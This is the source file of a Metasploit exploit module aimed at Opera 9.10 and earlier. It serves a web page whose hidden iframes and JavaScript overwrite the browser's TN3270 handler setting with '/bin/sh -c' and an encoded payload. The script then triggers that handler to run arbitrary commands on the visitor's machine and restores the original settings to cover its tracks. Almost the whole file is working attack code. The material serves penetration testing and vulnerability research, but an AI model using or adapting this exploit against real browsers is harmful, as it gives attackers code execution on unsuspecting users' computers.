Path: blob/master/modules/exploits/multi/browser/opera_configoverwrite.rb
31204 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213include Msf::Exploit::Remote::BrowserAutopwn14autopwn_info({15ua_name: HttpClients::OPERA,16ua_maxver: '9.10',17os_name: [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],18javascript: true,19rank: ExcellentRanking, # reliable cmd exec, cleans up after itself20vuln_test: nil21})2223def initialize(info = {})24super(25update_info(26info,27{28'Name' => 'Opera 9 Configuration Overwrite',29'Description' => %q{30Opera web browser in versions <= 9.10 allows unrestricted script31access to its configuration page, opera:config, allowing an32attacker to change settings and potentially execute arbitrary33code.34},35'License' => BSD_LICENSE,36'Author' => [37'egypt', # stolen from mpack38],39'References' => [40[ 'OSVDB', '66472'],41],42'Payload' => {43'EXITFUNC' => 'process',44'Space' => 2048,45'DisableNops' => true,46'BadChars' => ' '47},48'Targets' => [49# [ 'Opera < 9.10 Windows',50# {51# 'Platform' => 'win',52# 'Arch' => ARCH_X86,53# }54# ],55[56'Opera < 9.10 Unix Cmd',57{58'Platform' => 'unix',59'Arch' => ARCH_CMD60}61],62],63# Not sure when this was disclosed but it's been known since at64# least March 5, 2007, since that's the release date on the version65# of mpack I stole this from.66'DisclosureDate' => '2007-03-05',67'DefaultTarget' => 0,68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73}74)75)76end7778def on_request_uri(cli, request)79print_status("Got request #{request.uri}")8081case request.uri82when get_resource83print_status("Sending #{name}")84content = '<body><script>'85content << generate_evil_js(cli, request)86content << '</script></body>'87headers = { 'Content-Type' => 'text/html' }88else89print_status("404ing request for #{request.uri}")90send_not_found(cli)91return92end93send_response_html(cli, content, headers)9495print_status("Done with request #{request.uri}")96end9798def generate_evil_js(cli, _request)99# There are a bunch of levels of quotes here, so the easiest way to100# make everything line up is to hex escape the command to run101p = regenerate_payload(cli).encoded102send_not_found(cli) && return if !p103104shellcode = Rex::Text.to_hex(p, '%')105<<~ENDJS106blank_iframe = document.createElement('iframe');107blank_iframe.src = 'about:blank';108blank_iframe.setAttribute('id', 'blank_iframe_window');109blank_iframe.setAttribute('style', 'display:none');110document.body.appendChild(blank_iframe);111blank_iframe_window.eval(112"config_iframe = document.createElement('iframe');" +113"config_iframe.setAttribute('id', 'config_iframe_window');" +114"config_iframe.src = 'opera:config';" +115"document.body.appendChild(config_iframe);" +116"cache_iframe = document.createElement('iframe');" +117"cache_iframe.src = 'opera:cache';" +118"cache_iframe.onload = function ()" +119"{" +120" config_iframe_window.eval" +121" (\\"" +122" old_handler = opera.getPreference('Network','TN3270 App');" +123" old_pref = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +124" shellcode = '#{shellcode}';" +125" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +126" opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +127" app_link = document.createElement('a');" +128" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5..9))}');" +129" app_link.click();" +130" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +131" setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +132" \\");" +133"};" +134"document.body.appendChild(cache_iframe);" +135"");136ENDJS137end138end139140141